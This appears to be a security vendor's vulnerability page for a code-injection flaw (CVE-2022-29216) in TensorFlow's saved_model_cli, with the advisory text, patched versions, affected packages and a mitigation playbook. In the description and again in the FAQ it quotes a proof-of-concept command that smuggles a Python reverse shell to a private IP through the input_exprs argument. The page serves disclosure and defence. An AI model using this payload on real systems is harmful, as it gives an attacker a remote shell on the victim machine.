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GHSA-75c9-jrh4-79mc

HIGH

GHSA-75c9-jrh4-79mc is a high-severity (CVSS 7.8) Code Injection vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-75c9-jrh4-79mc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Code injection in `saved_model_cli` in TensorFlow

Also known asBIT-tensorflow-2022-29216CVE-2022-29216PYSEC-2026-3125PYSEC-2026-3289PYSEC-2026-963
Published
May 24, 2022
Updated
Jul 13, 2026
Affected
9 pkgs
Patched
9 / 9
Exploits
1 known

Blast Radius

9 pkgs affected
🐍tensorflow🐍tensorflow-cpu🐍tensorflow-gpu🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-gpu+1 more

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Description

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

This can be used to open a reverse shell

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

Affected Packages

9 total 9 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItensorflowall versions2.6.4
🐍PyPItensorflow-cpuall versions2.6.4
🐍PyPItensorflow-gpuall versions2.6.4
🐍PyPItensorflow≥ 2.7.0&&< 2.7.22.7.2
🐍PyPItensorflow≥ 2.8.0&&< 2.8.12.8.1
🐍PyPItensorflow-cpu≥ 2.7.0&&< 2.7.22.7.2
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

TensorFlow is an open source platform for machine learning. Prior to ver…

github.comNVDJun 2022

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update tensorflow to 2.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-75c9-jrh4-79mc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-75c9-jrh4-79mc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-75c9-jrh4-79mc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact TensorFlow's `saved_model_cli` tool is vulnerable to a code injection: ``` saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./ --tag_set serve --signature_def serving_default ``` This can be used to open a reverse shell ``` saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serve --signature
O3 Security · Impact-Aware SCA

Is GHSA-75c9-jrh4-79mc in your dependencies?

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